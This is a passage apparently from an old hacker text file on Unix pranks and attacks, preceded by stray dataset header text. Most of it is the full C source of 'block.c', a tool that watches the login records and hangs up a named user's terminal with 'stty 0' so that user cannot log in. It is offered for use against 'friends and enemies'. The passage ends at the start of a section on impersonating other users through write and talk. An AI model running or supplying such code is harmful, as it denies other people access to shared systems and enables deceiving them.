text
stringlengths
0
1.99k
on your system.
caveat #3: If you run this program in background, don't forget to kill it
when you're done with it! (when you invoke it with '&', the shell will give
you a job number, such as '[2] 90125'. If you want to kill it later in the
same login session, type 'kill %2'. If you log in later and want to kill it,
type 'kill 90125'. Just read the man page on the kill command if you need any
help...
----- cut here -----
/* block.c -- prevent a user from logging in
* by Shooting Shark
* usage : block username [&]
* I suggest you run this in background.
*/
#include <stdio.h>
#include <utmp.h>
#include <ctype.h>
#include <termio.h>
#include <fcntl.h>
#define W_OK2
#define SLEEP5
#define UTMP"/etc/utmp"
#define TTY_PRE "/dev/"
main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmpuser;
struct termio*opts;
char buf[30], buf2[50];
if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}
for (;;) {
if ((fp = open(UTMP,0)) == -1) {
printf("fatal error! cannot open %s.\n",UTMP);
exit(-1);
}
while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {
printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}
} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);
/*sleep(SLEEP); */
} /* for */
}
----- cut here -----
-- ------------- ----- ----- ---- ------ --- ------
2. Impersonating other users with 'write' and 'talk'
-- ------------- ----- ----- ---- ------ --- ------
This next trick wasn't exactly a work of stupefying genius, but is a little
trick (that anybody can do) that I sometimes use to amuse myself and, as with
the above, annoy the hell out of my friends and enemies.
Nearly every Unix system has the 'write' program, for conversing with other
logged-in users. As a quick summary: